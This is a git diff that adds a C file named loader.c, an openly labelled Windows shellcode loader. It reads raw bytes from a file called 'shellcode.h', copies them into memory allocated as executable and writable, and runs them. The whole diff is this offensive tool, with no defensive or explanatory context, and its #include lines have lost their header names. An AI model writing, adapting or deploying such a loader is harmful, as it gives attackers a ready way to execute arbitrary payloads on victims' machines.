diff --git a/loader.c b/loader.c new file mode 100644 index 0000000..f97c48f --- /dev/null +++ b/loader.c @@ -0,0 +1,25 @@ +#include +#include + +int main() +{ + DWORD bytesRead; + BOOL fileReadSuccess, filePermChangeSuccess, processCreateSuccess; + const TCHAR* filePath = _T("shellcode.h"); + + printf("Loader started!\n"); + printf("Shellcode path: %s\n", filePath); + + HANDLE hFile = CreateFile(filePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + DWORD fileSize = GetFileSize(hFile, NULL); + LPVOID fileContent = malloc(fileSize); + fileReadSuccess = ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL); + + printf("Shellcode size: %d\n", fileSize); + + void *exec = VirtualAlloc(0, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(exec, fileContent, fileSize); + ((void(*)())exec)(); + + return 0; +} \ No newline at end of file